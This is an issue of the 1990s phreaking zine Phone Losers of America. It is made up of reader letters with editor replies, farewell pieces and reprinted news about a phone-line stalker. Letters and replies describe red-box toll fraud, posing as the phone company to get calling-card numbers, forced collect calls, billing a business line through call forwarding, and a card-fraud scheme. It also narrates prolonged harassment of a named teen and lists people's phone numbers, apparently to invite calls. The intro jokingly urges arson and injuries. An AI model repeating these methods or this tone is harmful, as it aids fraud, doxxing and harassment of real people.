Well, anyway, I eventually met her formally, when I began sharing an apartment with her ex-boyfriend.

Wow, and I thought I was being a bit freaky (phreaky?) back then. Thank God I'm normal -- just like all of you.... '-)

------------

well alritey then.. hmm.. hey check this out.. i was out redboxing yesterday in springfield(my girlfriend lives there.. its HUGE, perfect for every kind of phreaking known to phreak kind) n e wae.. so i pick up the phone get ma bell Op and explain to her that i need her to lick my balls.. she asks if i need to make a call.. so i say no.. i need you to lick my balls.. so she says hang on.. (now i know somethin's up) so i get another operator and i ask her if she wants to lick my balls..

she says no but i have your number and im calling the cops.. so i say go ahead bitch and hang up.. then go hide and wait and sure as shit a cop shows up.. gets out of his car (mexico mo police are a bunch of donut eatin slob ass over weight punk bitches.. we jokingly refer to them as "mexico's finest") any way so he looks the phone over a bit and then heads on his merry way.. wierd huh? so i go back to the phone and think well hell might as well do a little red boxing.. im already here.. so i whip out my tape recorder and dial the big 0. I explain to the op that this phone is all fukkd up and the 8 is broken off.. she says what is the number your trying to call.. i tell her and she connects me.. not asking for a quarter.. which kinda pissed me off so i tried again.. same thing.. so i went to another phone .. same thing again.. finally i headed for some fortress fone lookalikes by hardees.. and was greeted with the quarter question... but i got 3 free local calls ... gettin so a person cant even honestly rip the phone company...

phear..

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I found an interesting fact in a magazine the other day and thought I should share it with my fellow losers. Rutherford B Hayes, the 19th president of the United States was the first president to use the telephone.

Karla

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This is about the poorest excuse I've ever seen for a hacker mag in my entire life. You suck. Your publication is shit and you don't know how to write. Don't be surprised if I hack your web page just because it pisses me off how lame you are. Troll.

[Uh...yo mama. I learned that from OCI. Why is it that you had to spoof your e-mail, by the way?]

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i am watching cops, and i saw someone get pulled over.  they ran from the police and were chased.  the guy run off the road, and the cops got him.  turns out the cop that got him was Roy Miller of the Roy PD.  no kidding.  they caught some drunk guy with some electronic equipment that looked like phone stuff.

it was on channel 4 (FOX) at 7:00pm.  cops.  roy miller of the roy pd (they didn't say which state), pulls over this guy and he runs off.  when they finally catch him after all four cars (which i think there was only 1 roy car, the rest were highway patrol or a different town or something) chase after him, with roy miller on foot, the drunken guy says his name is "mind over matter".  then he pulls some piece of what looks like bell equipment from behind his head, and in his drunken stupor, says "whats this?", then it clicks, and he shuts up.  i'd put money on the table they caught a drunken hacker

phantom operator

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I am a 28 year-old systems administrator who has been a hack and a phreak since the early 1980s.  I have read all of PLA's published material and I just wanted to say that you are one of the most twisted and sick people I have ever encountered, anywhere.  Period.  Your only saving grace is that you have put those traits to good use by releasing some of the funniest material I have ever read in my entire fucking life.  Your publication is a breath of fresh air and I hope you never stop!!  Reading PLA brought back so many memories of my early phreaking/phone phun days - only I was never so creative.  Your 7-11 torture article had me laughing so hard I thought I was going to get busted (I read these at work when I am supposed to be configuring Unix networks). Anyway, that's it - I just wanted to say thanks for all the spiffy laughs.

_pip_

jds@iag.net

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How do I join? How do I become a bonafide PLA memeber? Where do I sign to sell my soul into total damnation, trickery, and lowbrow fun? What tests must I face? How does a guy (bum) like me become an elite member of a group like yours?

goldeneye

[See, I TOLD you I get mail like this all the time.]

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A friend of mine is in the Florida state prison system. The only way they can call is to make a collect call. I have heard that thier are over-ride codes to connect them to an outside operator, so they can use a 1-800 number or a phone card. The sequence they get is as follows: They pick up the phone and get a dial tone, then a recording comes on to enter thier access code (thier prison DC number), then a dial tone, then a recording comes on to enter the number they wish to dial.

Any help at all will help out my phone bill. I have a 1-800 number for them to call, if they can only get an outside line. Send all info to A. Carr at ancarr@highland.net . Thank you in advance.

[I've been in three different jails for a total of about two weeks in my life and just about the entire time I played with their pay phones. None of the phones would let me do ANYthing except for make collect calls. The only trick I discovered was that I could call random people and press the "2" for them so they'd be forced to accept the call. We didn't have access codes, though.

You could set up a phone or find a phone somewhere in your city that doesn't get used for incoming calls that much, such as a 7-Eleven's credit card line. Order call forwarding for them and forward all of their calls to your own house. After that, just have your jailed friend call that number instead of yours which will charge the forwarded line even though you get to answer it.  Read the PLA issue on call forwarding for instructions.]

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I'm trying to get an unlisted phone # to some one who recently changed their listed phone # to an unlisted #. Could you recommend anything for me to check(i.e. updated phone search sites)? Please E-mail me back and let me know,

Thank you,

kinkel

[Phone search sites are usually only updated every year or every six months and mostly include only listed numbers. Your best bet would be to use FACS which is detailed in PLA issue #37. (Assuming you have the address of the person.) Also, you could go to their house (if they're local) plug your phone in and dial an ANI number. Also, check out the issue called Alternatives to CN/A which lists a bunch of ideas that might help you out.]

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I just read the most recent issue of PLA, (44, i think?)  -  And someone submitted something talking about using 3-way to accept collect calls.  (via OCI) .. Well, did OCI update their ANI system or something?  Because about a month or two ago, me and my friend were bored, and having no lives and all, we were using a standard op-divert and saying stupid shit to them.. So the second time, (I'm * sure * we op-diverted), they read out the home phone number we were calling from...  Do you know what's up with that by any chance?  Weird.

Thanks,

Kevin

[As far as I know, OCI is just as unadvanced as they've always been. I've never op diverted to OCI and they still haven't read off my number or called me back and they always ask what number I'm calling from.]

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Hi do you know how to get a oh account that is really real and how do I tos some one. Can you send me a program that I can format my a:\ to 1.6 or 1.7.  If you don't have it do you know where I can get it?  Thanx and can you write in Circuit24@aol.com.

[I'm sure if anyone can stop laughing at you long enough to punch in your e-mail address, you'll get plenty of response to your questions. Really real oh accounts can be obtained by going into alt.2600 and simply asking for one. They're free.]

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I recently obtained an Itronix T5000 EFP from a friend of mine, I haven't really used it yet, but from what I understand it does the following

-runs DOS 6.2

-has a built in modem and radio communications

-a serail port

-LCD display with back-lighting

-alligator clips to connect to a phone line

and mine has 10megs of flash RAM.  For more information take a look at the itronix web site 'www.itronix.com' As soon as I make or buy a power cord I'll tell you what else it can do...

--DETHMaster

PS- You probably already know this, but an easy way to get someone's address from thier phone number(even unlisted ones) is to call the nearest Domino's pizza using *67...when they don't get a number they will ask for yours...tell them the person's number who address you want and the'll read off the address to make sure it's correct.

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My business teacher taught me a new way to commit credit card fraud. He said thatthere is a federal law that says that if a card is stolen the card holder can only be held liable for $50. This means you can card using YOUR OWN CARD by "stealing" it, maxing it out as if it were someone else's card, then throwing it away and reporting it stolen. For added effect you could do the same for all of your card's and even get a new diver's license, etc. as an aliby. I know jack shit about credit fraud so this all could be a waste of time, but the teacher said it would work.  It seems like it would for some reason be less risky than using someone else's card. PLA is Great!! The PLA is in the mofo diggitty-dog house.

[Yep, I've heard about the $50 policy before. But before you try anything, you should call your bank and ask exactly what their policy is if you encounter fraud. It'd suck to go to all that trouble and end up having to pay for it.]

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I promised you an update (well, the full thing) of the Jamey story when it all came out.  Well here it is.

The whole Jamey saga started in about August last year.  We saw Jamey on a web chat site, and didn't like him.  Always bragging about how cool he is and his legendary sporting acheivements, not to mention taking XTC with his mother.  Cool guy.  So we got together and formed the THJ.  Team Hassle Jamey.  Any time we saw Jimmy Jammy Jokey Jerky Jamey as he was soon to be dubbed we would call all the others, and sit there harassing him, changing handles to appear as him and trah his reputation, and genrally be obnoxious pricks.  (Hey, we DID have the PLA as inspiration!!) All the time, posting messages such as JAMEY'S A FLOGGER JAMEY'S A FLOGGER JAMEY'S A FLOGGER etc.....

So we set up hotmail accounts to send him nasty email.  Pretty lame, but it did the trick to get his mother's name.  From there we could find out his address and fone number.  But we couldn't be sure.  Until the day a girl called Tania came on to Jamey's fave chatline.  She was like a female Jamey.  All the same interests, but with a possible glimmer of a personality.  That didn't stop us from taking over her life.  A couple of hotmail accounts later, we had Tania writing to Jameyc@hotmail.com, and Jamey writing to Tataniaa@hotmail.com.  This way, we could get info from Jamey and Tania.  We left Tania alone though.  So Jamey asked Tania out a few times, which "she" tactfully dodged, and he gave her his fone number begging her to call him.  So she managed to avoid that too, and said hey, your b'day's coming up, what's your address, so I can send yu a birthday card?  So he gave us his address.  Dumb boy.

That was where the phun began.  So "Tania" sent him a valentines day card, all cute and lovely, and the THJ sent him a deads rose in a mailing tube.  We didn't want our maaaate to go without at that special time of year.

So that brings us to today.  My friend Josef and I were at university today during one of our 3 hour breaks with no classes.  Nothing better to do than hassle people like "Our own little Dino" as Josef puts it.

There is a payfone in the physics building that is fully closed into a little room, making it great for phun fone calls, as it has the acoustics of a regular fone.  So bored as we were, we thought yeah, lets call Jimmy Jammy Jokey Jerky Jamey.  So off we went.  We'd tried the week before for his birthday, but he wasn't home, so we left a message on his mother's machine, and took down the cellyer fone number (oh god.  Using the alias Dino Allsman is turning me into him!!  Where are my goddam cocksuckin' cigarrette, you motherfuckin' jack-offs?) and resolved to call back.  So today we did.

JJJJJ:  Hello?

ME:  Hi.  Is Jamey there please?

JJJJJ:  Yah, 's Jamey.

ME:  Do you know who this is?

JJJJJ:  No...

ME:  No?  Take a guess.

JJJJJ:  Nah...

ME:  No idea at all?

JJJJJ:  Yeah, I got an idea.

ME:  Who, Jamey?

JJJJJ:  Umm....Summwun from da innanet, I fink...

ME:  Yeah?

JJJJJ:  Yeah, I recognised your voice, man, how ya goin'?

ME:  Pretty good Jamey, pretty good.  How are ya?

JJJJJ:  I'm 'right, how you doin'?

ME:  We were just calling to apologize about your birthday card being so late.

JJJJJ:  Wot card? (Jamey's none too bright.)

ME:  Oh, it hasn't got there yet?

JJJJJ:  Nuh,

ME:  It should be getting there in the next couple of days, probably,

JJJJJ:  Ahh... right.

ME:  We passed it around, we aaaallllll signed it.

JJJJJ:  Cool.  (I'm trying desperately not to laugh.)

ME:  So whatcha been up to Jamey?

JJJJJ:  Oh,  School.

ME:  Hang on, here's Josef.

JOSEF:  Hey Jamey, why aren't you answering our emails?

JJJJJ:  Huh?

JOSEF:  Why aren't you answering our emails?

JJJJJ:  Oh, I haven't got any time for the net anymore...

JOSEF:  Oh, you seem to.  You're replying to Tania's emails.

JJJJJ:  Yah, I know.

JOSEF:  But you're not gonna reply to ours?

JJJJJ:  I din't reply to Tania's!!

JOSEF:  Ohhhh, as far as we could see you did.

JJJJJ:  How could you see?

JOSEF:  Oh, a little trick in the book...

ME:  (Calling out across the room) MAGIC!!

JJJJJ:  What's that?

JOSEF:  Magic.  Oh, we're just legends.

JJJJJ:  Nah, what've you got?

JOSEF:  Don't forget who Dino works for.  Anyway, I'll pass you back to Dino.

JJJJJ:  Who's he work for?

JOSEF:  The CIA.

JJJJJ:  Oh, right.....(he obviously has NO idea what the CIA is.  He probably can't even spell it.)

ME:  Yep.  The Agency.

JJJJJ:  Which is that?

ME:  THe CIA.

JJJJJ:  Oh, right.

ME:  Ok.  We'd better get going.  We've got stuff to get to.  Or something.  Ok.  I'll see you 'round Jamey.

JJJJJ:  Where you livin'?

ME:  Where ARE we living?  Bye Jamey!!!

>Josef hangs up<

So that's it.  My other friend who calls himself Dusty Jones might be getting an ISP, (well, his dad is) but that means you'll prbably soon be seeing http://www.flognet.net.au.

Jamey's a flogger!!

Connor MacIsaac / Dino Allsman

------------

I'm a senior at Ohio Hi-Point JVS, and here recently they (the oppressive administration) has crippled my only livelyhood. My payfone! Everyday at lunch, instead of eating i usually go out to the fone. Mainly just to harass OCI (Willtel?) and force a few select hawaiians to accept my collect call (via OCI).

Anyway, about a week or so ago me and a friend were doing the daily lunch ritual, when he stopped and said, "hang up it sounds like someone is tapping the line" apparently he was hearing a series of chirp and tones. i said, yea whatever, and continued to call oci, again, and what seems like for the LAST time. suddenly i heard some tones, just sounded like standard DTMF. So now I was pretty sure that one of the fuck-up adminstrators was listening to my call, so i proceeded to tell 'em to fuck off and what-not. So my friend dials 711, and in bellefontaine 711 disables the fone(shuts it off or something) for about 3 mins. (What does the telco use that feature for???)

Not a second later, a group of 5 people (admin &  1 bell) are rushing down the hall like gangbusters, yelling something about "everyone needs to get off the payfones now!" They dial 1-311, which gives you an Operator there. It's fun to dial that # because i think only bell people use it and it really confuses the hell outta the Ops, when I've asked them to dial 800 numbers for me before, I get responses like "and why did you dial 311 to place this call". After the Admin and bell people rushed over to our fones and dialed the op I overhear them say something like "well we can't prove it was them blah blah blah *i'm a big dickhead* blah" and then we got chased off by the principal Joyce Roberts (what a bitch).

The next day that we come out to our beloved fones, there it a sign on them saying "Local Calls Only". We were like ha! we'll just call the operator and have her dial OCI, WRONG. anytime you dial 0, 1 +anything (via the keypad) the fone makes a weird ass "VEEP-VVEEP!" and gives you a dialtone. You can't dial 800's 10XXX-0 or anything. It really pisses me off. I have found a way to call collect and the op but it is a huge pain in the ass, by blicking the reciever. What I think happened was the school thought that we were billing calls to them (which is one thing we didn't do).

Now, I've got a couple of questions... Isn't it the law that payfones have to let you dial 800 #'s, or is it they just have to be free. ALSO what is up with OCI?? everytime I call, dial 0 at the dialtone, the voice now says "please hold for the Wiltel operator", but when one of the OCIdiots completes a call for you they say "thank you for usuing OC--Wiltel" was OCI bought out?

One more thing, I have found that in order to do the "Forced Collect call" through OCI (Latest PLA) you don't even have to have 3way calling, you can call up OCI have them place a collect call, and then when you hear the person on the other end pick-up just say "HELLO!" loudly, and in a slightly deeper(or higher) voice so that OCI cannot hear the other person and go ahead and accept for them. OCI is so dumb...

ttyl,

xt0rt

[That sucks about your pay phones. Maybe you should give the billing office a call and change the pay phone services back to how they used to be. I'm not sure which way the 800 number law works, but I've come across plenty of CoCots that either disallow you to dial 800 numbers, or ask you for 50 cents when you dial one.

About OCI - I've been trying to get information out of their operators for awhile now and none of them will admit to even knowing what the hell OCI is. A few months ago they started answering "Wiltel Operator." Then a week later they started answering "OCI" again. Then, yet another week later they once again became Wiltel Operators and still are of this writing. I finally got one operator to admit that OCI and Wiltel were both owned by the same company but she refused to give me any details. The only important thing is that they have no clue where you're calling from.]

------------

Hey what's up.  I forgot to ask you.   What was the great quarter roll scam? I can kinda guess but I'd like to know for sure and how you went about it and if you got caught.   I found something cool to do and I don't know if you ever did this because you never said anything about it but you probably did.

Anyway, me and my friend like to call people up on three way and just talk to each other and ignore the people on the other line.  This is so funny because the people yell and shout asking who it is for 5 minutes and then they think that there is a mix up with the phones and there listening in on our conversation.  They always stay on and listen. How stupid people are!  We try to have the most boring conversation and see if they will still stay on, and they always do.

Later

Mohawk

[If they stay on long enough, you should start making references to that person. Make false plans about what you're going to "do" to them, read off their address and phone number, plan out where you're going to meet before you strike. Then ask your friend what number you can contact him at when you're ready to go and have your friend read off the number of somebody that you're not too fond of. hehe.

The quarter roll scam was simply us passing off rolls of pennies as rolls of quarters, buying a cheap item and collecting the change. Didn't get rich off of it but it sure was fun.]

------------

When I called OCI today, I heard two OPS in the background yelling at two kids on speaker phone. This made me think that like every other call to OCI is a prank call. Pretty funny, but with such a high volume of pranks, will OCI ever decide to find out who calls them?? Just wondering...l8r

Jolly Spamhead

[When they do finally start getting the numbers of people who bother them, they'll probably just call you back and yell "yo mama" jokes at you. I wouldn't worry too much.]

------------

When are you going to start writing articles on hacking? I'm really interested in computer hacking but i don't know where to get my start.

Keith

[Probably never. I'm not a hacker and have never been a hacker. Most everything that you read in PLA has been verified to work before I print it and I'd be unable to make this claim with hacking articles since I don't have the time or patience to try to hack. Just do a ToneLoc scan of your city, start calling the computers you find and teach yourself. When you get stumped, do a web search.]

Hey dude I'm busted :(. Ok I'll try to tell you this long story as short as possible. A couple nights ago, I was really really bored. So I called up dave, we decide to pick random names out of the White pages and try to get their calling card info. Well we pick a couple of wongs. We get the info we were looking for. Ok so dave is like just give me a ordinary person and not a forgein person. So I feed him a random number out of the phone book. We call direct...

Girl: Hello??

Dave: Hi this is brad from Snet, I'm having trouble with the old PC here...

Girl: Yea so...

Dave: Well I need your calling card number to enter into the system

Girl: You know you can goto jail for this???

Dave: Excuse me mam, I'm brad from SNET

Girl: Bullshit!

Dave: Mike pick up on Line 2...

Me: Hi this is supervisor mike, what seems to be the problem???

Girl: I'm calling the cops (hangs up)

Well me and dave being very revengeful people. We decide that this lady needs to be harassed. We call up OCI, the op asks to speak to domnique.  She Doesn't accept. We try again using OCI. This time she accepts. She puts a guy on. I'm like neder neder, gotta put your daddy on. This guy tells me how his name is officer Johnson of the Newington Police Dept. Of course we don't belive him, he tells me to do myself a favor and not call back anymore. He hangs up.

Ok so we call him about 17 times that night. We think he had enough for the night as it was then 1:30 AM. So next day comes. We decided since this guys thinks he is better than us to call a few Taxi's, Singing Telegrams, and Pizzas to his house. I think this is what broke him. Me and dave once again hang up.

Yesterday, I just get home from my ED (Extended Dentetion). Dave had called the school a few times while I was there and had them page Kevin Mitnick,  Mark Abene, and Catus Roy. It was pretty funny. But anyway getting back on subject. We are talking on the phone, when dave gets another call. He clicks over, and comes back quickly. He says this is the cop guy from last night. I could'nt belive this. Dave told me he gave his father's name and asked to speak to him. Dave being the only person in the house besides his Little brother. Dave tells his brother to say that his dad is in the hospital. Well the guy starts yelling at Dave's younger brother, just then Dave dad comes home. He picks up, and this Police Officer says that we were harassing the wife of a High Ranking State Offical or something. He says he has Audio Tapes, and stuff like That. How could this be?? We only called this guy once direct. The other times were through OCI. I suspect that the Taxi cab somehow got dave's number.

Well I'm dazed and Confused. I went to school and security told me that some feds called and wanted info on Dave. But since I'm more known than dave, the security guys brought my name up in it. So anyway I got suspended today from school, for leaving class to go investigate this.

Oh yea the police are coming over david's house tonight or tommerow. The Newington police officers will have to be brought to his house by a E.hartford one. So hmm, anyway the guy doesn't have my name yet. But dave's mom hates me and probly will give it to them. I just got rid of all the PLA stuff, plus a database I have collected over the years. This database had over 450 text files on H/P/A/V. I gave dave a copy of this, he daid hid it.  I hope he did.

Jolly Spamhead

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Hi, i was wondering if you could tell me if radio shack has added components to their dialers to block the freq of the aftermarket crystal put in. If so do you have revised docs for the new config and how to get it to work.  A response would be greatly appricated....

[I've yet to buy a tone dialer that's been any different from the one I've seen for almost 10 years now. Guess I'm just not that lucky. People have told me that the new dialers still have a crystal in them but they're disguised as a capacitor. Other people have told me that they simply moved the crystal to the underside of the circuit board.  Until I buy one myself, I really don't know who to believe.]

------------

PLEASE PLEASE.... i was reading all your prank calls.  And the one about DINO caught my eyes!!   i read ALL of it it was awsome..  so i decided I want to do it...   so iam asking you to write a txt or email me back with info on where to start!!  how do i SCAN the airwavs for portable phones??    where i get the scanner?? what modle??  do i need to modify it??  if so how??     please help me!!!!   CAN I MAKE A SCANNR??   can I use walkie talkies??    ca i use old phones???

[Most of the information you need is in the cordless phone article in this issue. It's unlikely that you could make a scanner and using old cordless phones to pick up conversations is difficult and unstable.]

------------

You forgot to add one important tactic to your list of revenge ideas: Mail bombs! You can download mailbombing software and you can go to hacker web pages that have forms to fill out that will mailbomb an asshole bigtime. Here are some addresses for you:

[I edited out the addresses you gave me for two reasons. One, being that I don't support mail bombing. The internet is bogged down enough without having to deal with hundreds of idiots trying to mailbomb you. Second, I've been "mail bombed" twice now and it's had very little impact on me. My mail client calls my ISP every half hour to check mail so when I've been "bombed", I didn't have to wait for the 300 messages to download. It wasted approximately 5 seconds of my day to have to highlight all of the offending letters and press the delete button. I'm guessing that the person who did it spent alot more time "bombing" me.]

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Hey, an interesting story to pass along and some tips on getting into peoples garages with very much ease. I live near a large city called Ft Wyane, Indiana, one of the  most crime infested cities in Indiana.  One day some ingenious criminals thought up an idea of building a radio transmitter (thanks to Radio Shack). This wasn't a ordinary transmitter, it was a multifriquency one.  This one opened up Garage doors! and even electronically locked car doors too!  Anyway these guys stole a bunch of stuff, and cars by just tunning the thing to the right frequency pressing a few buttons and BOOM opening up a few garage doors.  I think the news said it cost the guys only about $50 bucks to make.  Anyway anyone can make or even (luckily) buy a premade one in the store or at leaste get one from someone.  You can modify a garage door opener to open any garage i would assume and even you can obtain a universal garage door opener (the one with the little switches inside).  My dad said back in the 70's he had this piece of crap CB that at certain channels would open up garage doors.  I do have a universal garage door opener but rarely am I bored enuf or actually dwell from the depths of my layer.

see ya,

jeremy aka peart

[You live less than an hour away from me. Stay the hell away from my house.]

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Is there a way to attach a sound source to your telephone line (or others) so that when they are talking you can put in all these stupid ass sounds (like in that one pla issue with all the switches where you compltley controlled your neighbors house, yes i know it was fake but can you do it).

Stumpy

[Of course - just hook up your sound blaster's output into the mouthpiece of your telephone handset. This can be done at the handset or inside the telephone itself.]

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Amigo, you have a SICK sense of humor! I LOVED the 7-11 piece you did! You must have some technical savvy to come up with some of those ideas. I have a small compilation of pranks at: http://home.sprynet.com/sprynet/stan2/ Look for "Industrial Strength Practical Jokes". These are unique in that I either know the people involved or WAS involved. I am adding to these as I remember them from over 20 years of working in this insane asylum (run by the inmates) maunfacturing plant in Wilmington, NC.

I am a radio scanner freak. A favorite one of mine is to place a sign on the speaker at the drive up at a fast food place, "SPEAKER IS BROKEN, PLEASE SPEAK LOUD!". Then I park nearby, tune to their frequency and listen to the HILARIOUS conversation. People will hang their heads out of the car and SCREAM their orders out. Finally, one of the employees will say something like,"Sir, you don't have to shout". Then some reference is made to the "SIGN"????WHAT SIGN? A very pissed off employee will come out and angrily JERK the sign down. Fun over for now.

Another favorite is to get a LARGE magnet and affix a LARGE soda cup with lid and straw, to the top of my car. It looks as if I forgot to take it with me.  I saw a guy almost break his neck doing a double-take as I merrily cruised along. People will actually GET OUT OF THEIR CAR and tap on the window to tell me about the soda. I politely thank them and drive away, leaving them dazed and confused. They just can't imagine why that soda doesn't fall off!

Anyway, thanks for the laughs,

Stan.

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PLA is cool, I read the issues when I'm bored at work, and check out the web page (you've probably got my work IP logged somewhere)...I can give you some good pay phone numbers in the DC Metro area, if that's worth anything (probably not?)...I can give you numbers from pay phones that are in _not so nice_ areas...Maybe you can prank drug dealers, that'd be funny...Anyway, PLA is cool, and I get a serious kick out of reading your stuff...Dino Allsman is cursed for life...Why aren't there PLA'ers in DC???

[I'm always looking for new pay phones so send anything you've got. The only requirement is that they accept incoming calls. Start a PLA DC page and I'm sure you'll find at least one other PLA addict.]

Contact The Phone Losers Of America Nearest You!

etext.archive.umich.edu - pub/Zines/PhoneLosers

ftp.fc.net - pub/defcon/PLA

pla@sekurity.org - Apok, Zak, Colleen and RBCP

bac@bright.net - RedBoxChiliPepper

zak@lemming.com - Zak a.k.a. el_jefe

collcard@big12.metrobbs.com - To contact Colleen Card

apok@command.com.inter.net - Apok0lyps

http://www.cocksoldier.com - Phone Losers of America Homepage

http://www.cocksoldier.com/plasites.htm - Listing of all other PLA sites

PLEASE don't call James Ihde at 805-588-1951, that would just be wrong

Issue #046

Released on May 5, 1997

RedBoxChiliPepper - Head Custodian

Colleen Card - Public Relations

el_jefe -  Colorado Annoyance Bureau

Apok0lyps - New Member Scout

Table of Contents:

See ya

Sommy - RBCP

The Meaning of ibaibaibaibaiba - Logic Box

Review of Last Year's DefCon Convention - Calimar Rasputin

Why The Scene is Dying - netmask

Quitting A Job For Someone - Spanish Prince

There really IS a PLA - Apok0lyps

RBCP Pays a Visit to 7-Eleven - Logic Box

Fun In Tanning Salons - Stan (stan2@sprynet.com)

History of the PLA - RBCP

QuickService Update - pneyz

How To Scam Coke Machines - by Oxygen (02)

Dave's Not Here - vel0city

r0y.irc script - B187

Phone Losers of America Headline News

Letters

Synthetic arms reaching for you,

Your tormentors are but unknown.

Electric sensations pulsating out,

a jangling invades your home.

You know what awaits on the other end,

but do you dare pick up the phone?

A cactus is prickling at your mind,

Parted lips release a moan,

Your stupidity is your fraility,

and your sense of humor is on loan.

Now you hope and pary and curse the day,

that you entered the PLA zone.

-Colleen Card

See Ya

Welcome to the 46th issue of PLA. The 46th and the last. Yep, you heard right. As of this issue the zine has come to a halt forever. I'm really quite bored with the whole thing and don't enjoy writing it anymore. I'd toyed around with the idea of handing it over to someone else but just couldn't bear to let it go out of my control. I'm a power-freak, okay??

So remember - 46 is the LAST issue. I fully expect someone to write an issue 47 and claim that we gave them permission to take it over but this won't happen. I also won't change my mind and start it up again so if you see any issues of PLA after this one (aside from PLA099), it's a fraud. And you know how testy we get about fraud. If I ever decide to write anything else, it'll be in another zine. A million thanks goes out to everyone who made the zine what it's become today. Without the support of the readers and contributers, we never woulda made it past issue 20.

Don't fret, though. PLA isn't dead, just the zine is. You'll continue to see PLA GIFs/JPGs occasionally, the web page will always exist and hopefully the supporting web pages will also. And I don't think I could ever grow up enough to quit pranking people until they cried so keep an eye out for a new PLA prank tape and new sound clips. NewKleer Wynter recently put together a PLA dance mix called Go Away PLA which can be found on the web page and Calimar is working on tracking a few PLA mixes of his own. So watch the web page and be on the lookout for vast improvements and new material. Anyone who contributes an article to me will have it forwarded to the appropriate e-zine.

And you can still contribute to PLA in other ways. Like the next time you set fire to a Bell South building, spray paint "PLA" all over the windows first and the next time you order a custom calling card for your principal, make the pin number say, "PLA1" and when your neighbors go out of town, mow the words "PLA" into their lawn and when that cop walks into the donut shop, slap magnetic cactii all over his patrol car and after class when the bell rings and students are running out the door like mad, drop PLA marbles all over the floor to cause a few concussions and don't forget always annoy the residents of Roy, New Mexico with silly phone calls and late night fax-backing.

------------

Well, the zine has finally come to an end. RBCP informed me shortly after the release of PLA045 that this issue would be the last, so I decided to write this spiffy little farewell to the zine. Yes, the ZINE. A lot of you are probably sitting there right now saying "holy shit, this is the last issue, PLA is gone forever, ibaibaibaibaibaibaiba!@#$" or something equally retarded.

Now, just because the zine's publication has ended doesn't mean PLA is 'dead,' or whatever you want to call it. The website is still up, and RBCP fully plans on continuing to maintain it (it will probably be moving to a new home soon,  so keep your eyes open). The quarterly phone directory will still be updated (maybe now that RBCP has quit writing PLA, he'll finally make that 'quarterly' part mean something). I'm sure new PLA photos will appear every now and then, as well as new prank call WAVs (keep your eyes peeled for the PLA's new tape--'Operator Leaving Line'--coming soon). You'll still be able to find all of us PLA contributers and weirdos on EFnet and DALnet's #rock, so drop in and say hi every once in awhile.

And there's always the spiffy Aurora-Magellan: Last of the PLA BBSes (cal.dbstech.com) run by Calimar and myself (we need users dammit). PLA isn't gone--only the zine has been retired. As RBCP puts it, "better to end it now than to make it suck alot." If you want to keep contributing to PLA, then go out and make some calls, send in your stories, or get on IRC and harass some people. I'm sure RBCP will add some kind of regularly updated PLA newsletter or fan mail area to his site. RBCP has provided alot of us with many hours of laughter with his stuff, and will still continue to do so, so keep up the support, and remember--the PLA still owns you.

--Logic Box (logicbox@usa.net)

------------

Since the disolution of the Phone Losers of America zine, it seems to be the only course of action to disband the ragtag PLA group. While it always exsisted (see article), this is one time when it cannot. Personally, I tip my hat (PLA hat, of course) to RBCP for his years of work and excellent writting.  This is the end of an era. Now all that will be left is silly zines that take themselves too seriously.

Telecon once told me that the whole reason he was drawn to PLA was the fact that it never took itself that seriously. Kind of tounge in cheek the whole ride. I also urge people instead of bothering RBCP asking if they can take it over, if you really want to have a zine, start your own. PLA is finished and that is that. I support RBCP and Colleen's decision to shut it down. If they want it that way, so be it. While I only wrote for this publication a few times, I doubt I write for another. So on that note, I bid you farewell. Transmition ends.

--Apok0lyps

Sommy

Unless you've been living in Emmanuel Goldstien's basement you've probably heard of Sommy the "Cyberstalker," a man (or several men?) who for no apparent reason is turning the lives of an innocent Canadian family into a living hell. You gotta love this guy.

Supposedly he's jumping into their phone conversations, switching channels on their TV set, calling the Canadian police to torment them, switching their power off and on and tormenting anyone who has any contact with the family. The guy's a true Phone Loser. If Mitnick weren't in jail they'd probably try to pin this one on him too. Sommy, I have only one thing to say to you - Chris Tomkinson's new phone number in Arizona is 602-736-9864.

When I began this article, they hadn't caught Sommy yet but now they've got him and if you haven't been following the story, you'll be surprised at who it was. Kind of a shitty ending to the whole story but interesting, nontheless.  The following articles were taken from my local newspaper, from e-mail submissions and from web searches. Mostly they repeat themselves but I'm printing them all anyways. I tried to keep them as chronologically accurate as possible.

Phone line intruder terrorizes family, baffles cops

Taken from the News of the Weird, March 15-17, 1997

WINDSOR, Ont. (CP) - He calls himself Sommy, and he was very busy on Thursday. After singing nonsense songs and mumbling gibberish into the telephone, Sommy said he slashed the tires of the police officer who's trying to catch him. But he denied being a vampire. "I just told Debbie I was a vampire for a joke," Sommy said. "It's not like I'm sick."

For more than three months, Debbie Tamai, her husband Dwayne and son Billy have been tormented by this unknown male who has infiltrated the phone system of their home in Emeryville, east of Windsor. His method has thus far baffled the provincial police, Bell Canada investigators and a private U.S. security firm.

He breaks in on private phone conversations at will to burp, utter silly phrases and drop chilling little hints of malice that keep the family constantly on edge. "Sommy told me the other day that he likes the vampire Web site on the Internet," Tamai said. "He told me he likes to drink blood." The family has no idea who the man who is making their life a living hell.

Sommy, or someone, has cut the family's outside phone lines at least six times, usually in broad daylight. Bell Canada has changed the home's phone wiring three times, to no avail. The last time the wiring was changed, Sommy was back on the line within 20 minutes. The house has been scoured for listening devices from top to bottom. Nothing was found.

Sommy has utter contempt for the police and phone security experts who are trying to stop him. When an investigating officer had his tires slashed, Sommy took credit for it. He openly gloats about how he has frustrated the police.  "They won't catch me," Sommy said at one point. "I'm too smart."

Sgt. Ron Lane admits Sommy has them stumped. "We think he's talking through his computer, garbling his voice," Lane said. "He knows exactly what he's doing. Twenty-one years in the police service, and I've never had a case like this."

Billy is so used to Sommy that he completely ignores his interruptions during phone conversations, talking around the rambling metallic chatter. If Sommy swears while Billy is on the phone, Tamai will grab the receiver and scold him for using foul language around her son. She said Sommy usually apologizes.

"He's a definite presence here," Tamai said. "It's like having a ghost in the house. I used be comfortable walking around wearing a nightgown, but now I always have a jogging suit on. I feel like I'm being watched all the time."

Police have a sketchy profile of Sommy. He is believed to be between 17 and 24 years old and fresh from a bad relationship. He has a strong desire for control. Sommy has also revealed to Tamai that he is gay. Psychologist Dr. Barry Taub says the situation is dangerous. "He's a very powerful force in that house," he said. "He's likely brilliant and craves attention, control and maybe even an affectionate response. I wouldn't respond to him at all."

Tamai has asked Sommy when he is going to stop invading her phone line. "It's our phone line," he said.

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Taken from the Nando Times, April 11, 1997:

EMERYVILLE, Ontario -- Authorities say they're baffled by a high-tech harasser who has been tormenting an Ontario family for months, tinkering with their electricity and disrupting their phone calls.

